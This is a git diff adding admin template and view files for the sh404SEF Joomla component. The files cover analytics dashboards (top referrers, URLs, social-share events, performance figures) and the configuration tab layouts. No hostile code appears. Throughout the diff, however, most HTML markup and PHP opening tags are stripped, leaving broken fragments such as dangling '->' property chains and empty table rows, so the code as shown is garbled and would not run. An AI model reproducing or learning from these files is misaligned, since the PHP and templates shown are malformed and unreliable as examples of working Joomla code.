    +
    + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialpinterest.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialpinterest.php new file mode 100644 index 00000000..fc143707 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialpinterest.php @@ -0,0 +1,107 @@ + +
    +
    + + analytics->analyticsData->topSocialPinterest)) : ?> + + + + + + + + + + + + + + + + + + + + + + + + + analytics->analyticsData->topSocialPinterest as $entry) : + ?> + + "> + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    + + + dimension['eventLabel']); + echo $this->escape( $path); + ?> + + escape( $entry->totalEvents); ?> + + escape( sprintf( '%0.1f', $entry->eventsPerCent*100)); + ?> + + escape( sprintf( '%0.1f', $entry->avgTimeOnPage)); + ?> +
    + + + + +
    +
    + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialplusone.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialplusone.php new file mode 100644 index 00000000..5042040f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialplusone.php @@ -0,0 +1,119 @@ + +
    +
    + + analytics->analyticsData->topSocialPlusOne)) : ?> + + + + + + + + + + + + + + + + + + + + + + + + + analytics->analyticsData->topSocialPlusOne as $entry) : + ?> + + "> + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    + + + dimension['eventLabel']); + echo $this->escape( $path); + ?> + + dimension['eventAction']) { + case 'on': + $action = 'COM_SH404SEF_ANALYTICS_SOCIAL_PLUS_ONE_ON'; + break; + case 'off': + $action = 'COM_SH404SEF_ANALYTICS_SOCIAL_PLUS_ONE_OFF'; + break; + default: + $action = '-'; + break; + } + echo $this->escape( JText::_($action)); + ?> + + escape( $entry->totalEvents); ?> + + escape( sprintf( '%0.1f', $entry->eventsPerCent*100)); + ?> +
    + + + + + +
    +
    + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialplusonepage.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialplusonepage.php new file mode 100644 index 00000000..0f110d77 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialplusonepage.php @@ -0,0 +1,108 @@ + +
    +
    + + analytics->analyticsData->topSocialPlusOnePage)) : ?> + + + + + + + + + + + + + + + + + + + + + + + + + analytics->analyticsData->topSocialPlusOnePage as $entry) : + ?> + + "> + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    + + + dimension['eventLabel']); + echo $this->escape( $path); + ?> + + escape( $entry->totalEvents); ?> + + escape( sprintf( '%0.1f', $entry->eventsPerCent*100)); + ?> + + escape( sprintf( '%0.1f', $entry->avgTimeOnPage)); + ?> +
    + + + + + +
    +
    + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialtweeter.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialtweeter.php new file mode 100644 index 00000000..14167fcf --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialtweeter.php @@ -0,0 +1,107 @@ + +
    +
    + + analytics->analyticsData->topSocialTweeter)) : ?> + + + + + + + + + + + + + + + + + + + + + + + + + analytics->analyticsData->topSocialTweeter as $entry) : + ?> + + "> + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    + + + dimension['eventLabel']); + echo $this->escape( $path); + ?> + + escape( $entry->totalEvents); ?> + + escape( sprintf( '%0.1f', $entry->eventsPerCent*100)); + ?> + + escape( sprintf( '%0.1f', $entry->avgTimeOnPage)); + ?> +
    + + + + +
    +
    + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_visits.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_visits.php new file mode 100644 index 00000000..3715e386 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_visits.php @@ -0,0 +1,47 @@ +sefConfig->analyticsDashboardDataType) { + case 'ga:visits': + $title = JText::_('COM_SH404SEF_ANALYTICS_DATA_VISITS_DESC_RAW'); + break; + case 'ga:visitors': + $title = JText::_('COM_SH404SEF_ANALYTICS_DATA_VISITORS_DESC_RAW'); + break; + case 'ga:pageviews': + $title = JText::_('COM_SH404SEF_ANALYTICS_GLOBAL_PAGEVIEWS_DESC_RAW'); + break; + default: + $title = ''; + break; +} + +$title = Sh404sefHelperAnalytics::getDataTypeTitle() . (empty($title) ? '' : '::' . $title); + +?> + + +
    + +
    + ' . Sh404sefHelperAnalytics::getDataTypeTitle() . ''; + + echo '
    '; + ?> +
    + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3.full.php new file mode 100644 index 00000000..82dde632 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3.full.php @@ -0,0 +1,69 @@ + + + +
    +isAjaxTemplate) : +?> + +
    + +
    + sidebar; ?> +
    +
    +
    + +
    + message)) + { + echo ShlHtmlBs_Helper::alert($this->message, $type = 'info', $dismiss = true); + } + + echo Sh404sefHelperLanguage::getLanguageFilterWarning(); + + echo $this->loadTemplate($this->joomlaVersionPrefix . '_' . $this->options['report']); + + ?> +
    +
    + + analytics->status) || $this->options['subrequest'] == 'headers') + { + echo $this->loadTemplate($this->joomlaVersionPrefix . '_' . $this->options['subrequest']); + } +endif; + + ?> +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3.php @@ -0,0 +1,17 @@ +analytics->filters)) : +?> + +
    +analytics->filters as $filter) : + echo $filter; + endforeach; +?> +
    + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_global.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_global.php new file mode 100644 index 00000000..e9d36e88 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_global.php @@ -0,0 +1,150 @@ + + +

    + + + + > + + + + + > + + + + + > + + + + + > + + + + + > + + + + + > + + + + + > + + + + + > + + + + + > + + + + + > + + + + + > + + + + + > + + + + + > + + + + + > + + + + + +
    +   + + escape( $this->analytics->analyticsData->global->visits); ?> +
    +   + + escape($this->analytics->analyticsData->global->visitors); ?> +
    +   + + escape($this->analytics->analyticsData->global->pageviews); ?> +
    +   + + escape(sprintf( '%0.1f', $this->analytics->analyticsData->global->pagesPerVisit)); ?> +
    +   + + escape(sprintf( '%0.1f', $this->analytics->analyticsData->global->bounceRate * 100)) . ' %'; ?> +
    +   + + escape(sprintf( '%0.1f', $this->analytics->analyticsData->global->avgTimeOnSite)) . ' s.'; ?> +
    +   + + escape(sprintf( '%0.1f', $this->analytics->analyticsData->global->newVisitsPerCent*100)) . ' %'; ?> +
    +   + + escape($this->analytics->analyticsData->global->totalSocialEvents); ?> +
    +   + + escape(sprintf( '%0.1f', $this->analytics->analyticsData->global->visitsWithSocialEngagement * 100)) . ' %'; ?> +
    +   + + escape($this->analytics->analyticsData->global->sh404SEF_social_tracker_facebook); ?> +
    +   + + escape($this->analytics->analyticsData->global->sh404SEF_social_tracker_tweeter); ?> +
    +   + + escape($this->analytics->analyticsData->global->sh404SEF_social_tracker_pinterest); ?> +
    +   + + escape($this->analytics->analyticsData->global->sh404SEF_social_tracker_gplus); ?> +
    +   + + escape($this->analytics->analyticsData->global->sh404SEF_social_tracker_gplus_page); ?> +
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_headers.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_headers.php new file mode 100644 index 00000000..2fb0c635 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_headers.php @@ -0,0 +1,43 @@ +analytics->status) ? 'alert-warning' : 'alert-success'; +if($this->options['showFilters'] == 'yes') : ?> + + + +
    + +
    + analytics->status) ? JText::_('COM_SH404SEF_ERROR_CHECKING_ANALYTICS') : $this->escape($this->analytics->statusMessage)); + ?> +
    + +
    + analytics->status)) : + echo $this->loadTemplate($this->joomlaVersionPrefix . '_filters'); + endif; + ?> +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_perf.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_perf.php new file mode 100644 index 00000000..16eee149 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_perf.php @@ -0,0 +1,47 @@ + + +

    + +
    +
    > +
    +   +
    +
    + escape(sprintf( '%0.2f', $this->analytics->analyticsData->perf->avgPageCreationTime)) . ' s.', 'info'); ?> +
    +
    + +
    > +
    +   +
    +
    + escape(sprintf( '%0.1f', $this->analytics->analyticsData->perf->avgMemoryUsed)) . ' Mb', 'info'); ?> +
    +
    + +
    > +
    +   +
    +
    + escape(sprintf( '%0.1f', $this->analytics->analyticsData->perf->loggedInUserRate * 100)) . ' %', 'info'); ?> +
    +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_sources.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_sources.php new file mode 100644 index 00000000..7befa698 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_sources.php @@ -0,0 +1,29 @@ + + +

    > + +

    + +
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_top5referrers.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_top5referrers.php new file mode 100644 index 00000000..9706c749 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_top5referrers.php @@ -0,0 +1,96 @@ + + +

    options['max-top-referrers']); ?>

    + + + + + + + + + + + + + + + + + + + + + analytics->analyticsData->top5referrers as $entry) : + ?> + + "> + + + + + + + + + + + + + + + + + +
    + + > + + > + + > + + > + + > + +
    + + + escape( $entry->dimension['source']); ?> + + escape( $entry->dimension['referralPath']); ?> + + escape( $entry->views); ?> + + escape( sprintf( '%0.1f', $entry->viewsPerCent*100)); + ?> + + escape( sprintf( '%0.1f', $entry->avgTimeOnSite)); + ?> +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_top5urls.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_top5urls.php new file mode 100644 index 00000000..fac02103 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_top5urls.php @@ -0,0 +1,88 @@ + +

    options['max-top-urls']); ?>

    + + + + + + + + + + + + + + + + + + + analytics->analyticsData->top5urls as $entry) : + ?> + + "> + + + + + + + + + + + + + + + +
    + + > + + > + + > + + > + +
    + + + escape( $entry->dimension['pagePath']); ?> + + escape( $entry->pageviews); ?> + + escape( sprintf( '%0.1f', $entry->pageviewsPerCent*100)); + ?> + + escape( sprintf( '%0.1f', $entry->avgTimeOnPage)); + ?> +
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialfb.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialfb.php new file mode 100644 index 00000000..b5f450ba --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialfb.php @@ -0,0 +1,111 @@ + + analytics->analyticsData->topSocialFB)) : ?> + +

    + + + + + + + + + + + + + + + + + + + + analytics->analyticsData->topSocialFB as $entry) : + ?> + + "> + + + + + + + + + + + + + + + +
    + + > + + + + > + + + +
    + + + dimension['eventLabel']); + echo $this->escape( $path); + ?> + + dimension['eventAction']) { + case 'like': + $action = 'COM_SH404SEF_ANALYTICS_SOCIAL_LIKE'; + break; + case 'unlike': + $action = 'COM_SH404SEF_ANALYTICS_SOCIAL_UNLIKE'; + break; + case 'send': + $action = 'COM_SH404SEF_ANALYTICS_SOCIAL_SEND'; + break; + default: + $action = '-'; + break; + } + echo $this->escape( JText::_($action)); + ?> + + escape( $entry->totalEvents); ?> + + escape( sprintf( '%0.1f', $entry->eventsPerCent*100)); + ?> +
    + + +

    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialpinterest.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialpinterest.php new file mode 100644 index 00000000..58b4272c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialpinterest.php @@ -0,0 +1,97 @@ + + analytics->analyticsData->topSocialPinterest)) : ?> + +

    + + + + + + + + + + + + + + + + + + + analytics->analyticsData->topSocialPinterest as $entry) : + ?> + + "> + + + + + + + + + + + + + + + +
    + + > + + > + + + + > + +
    + + + dimension['eventLabel']); + echo $this->escape( $path); + ?> + + escape( $entry->totalEvents); ?> + + escape( sprintf( '%0.1f', $entry->eventsPerCent*100)); + ?> + + escape( sprintf( '%0.1f', $entry->avgTimeOnPage)); + ?> +
    + + +

    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialplusone.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialplusone.php new file mode 100644 index 00000000..474c0867 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialplusone.php @@ -0,0 +1,109 @@ + + analytics->analyticsData->topSocialPlusOne)) : ?> + +

    + + + + + + + + + + + + + + + + + + + + analytics->analyticsData->topSocialPlusOne as $entry) : + ?> + + "> + + + + + + + + + + + + + + + +
    + + > + + + + > + + + +
    + + + dimension['eventLabel']); + echo $this->escape( $path); + ?> + + dimension['eventAction']) { + case 'on': + $action = 'COM_SH404SEF_ANALYTICS_SOCIAL_PLUS_ONE_ON'; + break; + case 'off': + $action = 'COM_SH404SEF_ANALYTICS_SOCIAL_PLUS_ONE_OFF'; + break; + default: + $action = '-'; + break; + } + echo $this->escape( JText::_($action)); + ?> + + escape( $entry->totalEvents); ?> + + escape( sprintf( '%0.1f', $entry->eventsPerCent*100)); + ?> +
    + + +

    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialplusonepage.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialplusonepage.php new file mode 100644 index 00000000..1d0d7897 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialplusonepage.php @@ -0,0 +1,95 @@ +analytics->analyticsData->topSocialPlusOnePage)) : ?> + +

    + + + + + + + + + + + + + + + + + + + analytics->analyticsData->topSocialPlusOnePage as $entry) : + ?> + + "> + + + + + + + + + + + + + + + +
    + + > + + > + + + + > + +
    + + + dimension['eventLabel']); + echo $this->escape( $path); + ?> + + escape( $entry->totalEvents); ?> + + escape( sprintf( '%0.1f', $entry->eventsPerCent*100)); + ?> + + escape( sprintf( '%0.1f', $entry->avgTimeOnPage)); + ?> +
    + + +

    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialtweeter.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialtweeter.php new file mode 100644 index 00000000..79cad54a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialtweeter.php @@ -0,0 +1,95 @@ +analytics->analyticsData->topSocialTweeter)) : ?> + +

    + + + + + + + + + + + + + + + + + + + analytics->analyticsData->topSocialTweeter as $entry) : + ?> + + "> + + + + + + + + + + + + + + + +
    + + > + + > + + + + > + +
    + + + dimension['eventLabel']); + echo $this->escape( $path); + ?> + + escape( $entry->totalEvents); ?> + + escape( sprintf( '%0.1f', $entry->eventsPerCent*100)); + ?> + + escape( sprintf( '%0.1f', $entry->avgTimeOnPage)); + ?> +
    + + +

    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_visits.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_visits.php new file mode 100644 index 00000000..f96a07aa --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_visits.php @@ -0,0 +1,36 @@ +sefConfig->analyticsDashboardDataType) { + case 'ga:visits': + $title = JText::_('COM_SH404SEF_ANALYTICS_DATA_VISITS_DESC_RAW'); + break; + case 'ga:visitors': + $title = JText::_('COM_SH404SEF_ANALYTICS_DATA_VISITORS_DESC_RAW'); + break; + case 'ga:pageviews': + $title = JText::_('COM_SH404SEF_ANALYTICS_GLOBAL_PAGEVIEWS_DESC_RAW'); + break; + default: + $title = ''; + break; +} + +?> +

    +
    + src="analytics->analyticsData->images['visits']; ?>" /> +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/view.html.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/view.html.full.php new file mode 100644 index 00000000..7b2e8723 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/view.html.full.php @@ -0,0 +1,135 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + $this->footerText = JText::sprintf('COM_SH404SEF_FOOTER_' . strtoupper(Sh404sefConfigurationEdition::$id), + Sh404sefFactory::getConfig()->version, Sh404sefConfigurationEdition::$name, date('Y')); + + // prepare the view, based on request + // do we force reading updates from server ? + $options = Sh404sefHelperAnalytics::getRequestOptions(); + + // push display options into template + $this->options = $options; + + // Get the JComponent instance of JToolBar + $bar = JToolBar::getInstance('toolbar'); + + if (version_compare(JVERSION, '3.0', 'ge')) + { + $document = JFactory::getDocument(); + + // render submenu sidebar + $this->sidebar = Sh404sefHelperHtml::renderSubmenu(); + + // add custom css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_list.css'); + + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + // add title + JToolbarHelper::title('sh404SEF: ' . JText::_('COM_SH404SEF_ANALYTICS_MANAGER'), 'sh404sef-toolbar-title'); + + // needed javascript + jimport('joomla.html.html.bootstrap'); + JHtml::_('formbehavior.chosen', 'select'); + + // add Joomla calendar behavior, needed to input start and end dates + if ($options['showFilters'] == 'yes') + { + JHTML::_('behavior.calendar'); + } + + // prepare configuration button + $params = array(); + $params['class'] = 'modaltoolbar btn-success'; + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['configuration']; + $params['buttonClass'] = 'btn-success btn btn-small modal'; + $params['iconClass'] = 'icon-options'; + $url = 'index.php?option=com_sh404sef&tmpl=component&c=configuration&view=configuration&component=com_sh404sef&hidemainmenu=1'; + // prepare configuration button + $bar->addButtonPath(SHLIB_ROOT_PATH . 'toolbarbutton'); + $bar + ->appendButton('J3popuptoolbarbutton', 'configj3', JText::_('COM_SH404SEF_CONFIGURATION'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = '', $params); + + // add quick control panel loader + $js = 'jQuery(document).ready(function(){ shSetupAnalytics({report:" ' . $options['report'] . '"});});'; + $document = JFactory::getDocument(); + $document->addScriptDeclaration($js); + } + else + { + // add Joomla calendar behavior, needed to input start and end dates + if ($options['showFilters'] == 'yes') + { + JHTML::_('behavior.calendar'); + } + // add tooltips handler + JHTML::_('behavior.tooltip'); + + // add title + $app = JFactory::getApplication(); + $title = Sh404sefHelperGeneral::makeToolbarTitle(JText::_('COM_SH404SEF_ANALYTICS_MANAGER'), $icon = 'sh404sef', + $class = 'sh404sef-toolbar-title'); + JFactory::getApplication()->JComponentTitle = $title; + + // add a div to display our ajax-call-in-progress indicator + $bar->addButtonPath( JPATH_COMPONENT . '/' . 'classes'); + $html = '
    '; + $bar->appendButton( 'custom', $html, 'sh-progress-button-cpprogress'); + + // add modal handler for configuration + JHTML::_('behavior.modal'); + $configbtn = '' + . JText::_('COM_SH404SEF_CONFIGURATION') . ''; + $bar->appendButton('custom', $configbtn, 'sh-configbutton-button'); + + // add quick control panel loader + $js = 'window.addEvent(\'domready\', function(){ shSetupAnalytics({report:" ' . $options['report'] . '"});});'; + $document = JFactory::getDocument(); + $document->addScriptDeclaration($js); + } + + // call methods to prepare display based on report type + $method = '_makeView' . ucfirst($options['report']); + if (is_callable(array($this, $method))) + { + $this->$method($tpl); + } + + // add our javascript + JHTML::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/' . $this->joomlaVersionPrefix . '_cp.' . Sh404sefConfigurationEdition::$id . '.js'); + + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_cp.css'); + + // flag to know if we should display placeholder for ajax fillin + $this->isAjaxTemplate = true; + + parent::display($this->joomlaVersionPrefix); + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/view.html.php new file mode 100644 index 00000000..e7947608 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/view.html.php @@ -0,0 +1,17 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + + // prepare the view, based on request + // do we force reading updates from server ? + $options = Sh404sefHelperAnalytics::getRequestOptions(); + + // push display options into template + $this->options = $options; + + // call report specific methods to get data + $method = '_makeView' . ucfirst( $options['report']); + if (is_callable( array( $this, $method))) { + $this->$method( $tpl); + } + + // flag to know if we should display placeholder for ajax fillin + $this->isAjaxTemplate = false; + + parent::display( $this->joomlaVersionPrefix); + } + + /** + * Prepare and display the control panel + * dashboard, which is a simplified view + * of main analytics results + * + * @param string $tpl layout name + */ + private function _makeViewDashboard( $tpl) { + + // get configuration object + $sefConfig = & Sh404sefFactory::getConfig(); + + // push it into to the view + $this->sefConfig = $sefConfig; + + // get analytics data using helper, possibly from cache + $analyticsData = Sh404sefHelperAnalytics::getData( $this->options); + + // push analytics stats into view + $this->analytics = $analyticsData; + + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/close_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/close_j2.php new file mode 100644 index 00000000..fe5cef7a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/close_j2.php @@ -0,0 +1,23 @@ +addScriptDeclaration( + ' + setTimeout( function() { + window.parent.location.href=window.parent.location.href; + window.parent.SqueezeBox.close(); + }, 1500); + '); diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/close_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/close_j3.php new file mode 100644 index 00000000..e5322def --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/close_j3.php @@ -0,0 +1,22 @@ +addScriptDeclaration( + ' + setTimeout( function() { + window.parent.shlBootstrap.closeModal(); + }, 1500); + '); diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j2.php new file mode 100644 index 00000000..9c1f3c0f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j2.php @@ -0,0 +1,137 @@ + + + +
    +
    +
    + + +
    +
    + +
    +
    + + 1)); +$fieldSets = $this->form->getFieldsets(); + +//Let's group the fieldsets by the group attribute +$groupnames = array(); +foreach ($fieldSets as $fieldSet) +{ + $groupnames[$fieldSet->groupname][] = $fieldSet; +} + +//fieldsets are now grouped +foreach ($groupnames as $key => $groupname) +{ + echo JHtml::_('tabs.panel', strip_tags(JText::_($key)), 'publishing-details big'); + echo JHtml::_('tabs.start', 'config-subtabs-com_sh404sef_configuration', array('useCookie' => 1)); + foreach ($groupname as $name => $fieldSet) : + $label = empty($fieldSet->label) ? 'COM_CONFIG_' . $name . '_FIELDSET_LABEL' : $fieldSet->label; + echo JHtml::_('tabs.panel', JText::_($label), 'publishing-details'); + if (isset($fieldSet->description) && !empty($fieldSet->description)) : + echo '

    ' . JText::_($fieldSet->description) . '

    '; + endif; + ?> +
      + form->getFieldset($fieldSet->name) as $field) : + if ($label == 'COM_SH404SEF_CONF_TAB_BY_COMPONENT') + { + $class = 'class="listsrow' . $x . ''; + $class .= ($x % 2 == 0) ? ' listsrowodd' : ' listsroweven'; + $class .= '"'; + } + else if ($label == 'COM_SH404SEF_DEF_404_PAGE') + { + $class = 'class="errorpage errorpage' . $i . '"'; + } + else if ($label == 'COM_SH404SEF_CONF_TAB_ADVANCED') + { + $class = 'class="advancedtab"'; + } + else + { + $class = 'class="' . (($x % 2 == 0) ? ' listsrowodd' : ' listsroweven') . '"'; + } + + echo '
    • '; + if (!$field->hidden) + { + // on by-component page, output actual tooltips + if ($label == 'COM_SH404SEF_CONF_TAB_BY_COMPONENT' && strtolower($field->type) == 'spacer') + { + echo JHTML::tooltip(JText::_($field->description), strip_tags($field->label)); + } + + // continue displaying field + echo $field->label; + } + echo $field->input; + $element = $field->element; + if (!empty($element['additionaltext'])) + { + echo '' . (string) $element['additionaltext'] . ''; + } + echo '
      '; + echo '
    • '; + $i++; + if ($i % ($this->byComponentItemsCount - 1) == 0 and $i > 0) + { + $x++; + } + endforeach; + ?> +
    +
    + + +
    + +
    + + + + + + + +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3.php new file mode 100644 index 00000000..452e4d98 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3.php @@ -0,0 +1,167 @@ + + +
    +
    +
    + +
    + +
    + + +
    +
    +
    + +
    + + + +
    + +
    +form->getFieldsets(); + +// let's group the fieldsets by the group attribute +$groupnames = array(); +foreach ($fieldSets as $fieldSet) +{ + $groupnames[$fieldSet->groupname][] = $fieldSet; +} + +echo ''; + +echo JHtml::_('bootstrap.startPane', 'config-tabs', array('active' => $activePanelId)); + +// Iterate over a param group +foreach ($groupnames as $groupKey => $group) +{ + echo JHtml::_('bootstrap.addPanel', 'config-tabs', $groupKey); + + $hasSubTabs = count($group) > 1; + if ($hasSubTabs) + { + // echo tabs for subgroups, inside sub tabs + echo ''; + + // start sub tab + echo JHtml::_('bootstrap.startPane', 'config-sub-tabs-' . $groupKey, array('active' => $activePanelId)); + } + + // output fields in the sub tab + foreach ($group as $name => $fieldSet) + { + // store curent name and fiedset, so they can be accessed by sub-layouts + $this->currentName = $name; + $this->currentFieldset = $fieldSet; + + $panelId = empty($fieldSet->label) ? 'COM_CONFIG_' . $name . '_FIELDSET_LABEL' : $fieldSet->label; + + if ($hasSubTabs) + { + echo JHtml::_('bootstrap.addPanel', 'config-sub-tabs-' . $groupKey, str_replace(' ', '_', $panelId)); + } + + if (isset($fieldSet->description) && !empty($fieldSet->description)) + { + //echo '

    ' . JText::_($fieldSet->description) . '

    '; + echo '
    ' . JText::_($fieldSet->description) . '
    '; + } + + switch ($panelId) + { + case 'JCONFIG_PERMISSIONS_LABEL': + echo $this->loadTemplate($this->joomlaVersionPrefix . '_permissions'); + break; + case 'COM_SH404SEF_CONF_TAB_BY_COMPONENT': + echo $this->loadTemplate($this->joomlaVersionPrefix . '_by_component'); + break; + case 'COM_SH404SEF_DEF_404_PAGE'; + echo $this->loadTemplate($this->joomlaVersionPrefix . '_404'); + break; + default: + echo $this->loadTemplate($this->joomlaVersionPrefix . '_default'); + break; + } + if ($hasSubTabs) + { + echo JHtml::_('bootstrap.endPanel'); + } + } + + if ($hasSubTabs) + { + echo JHtml::_('bootstrap.endPane'); + } + + echo JHtml::_('bootstrap.endPanel'); +} +echo JHtml::_('bootstrap.endPane'); +?> + +
    +
    + + + + + + + +
    +
    + +
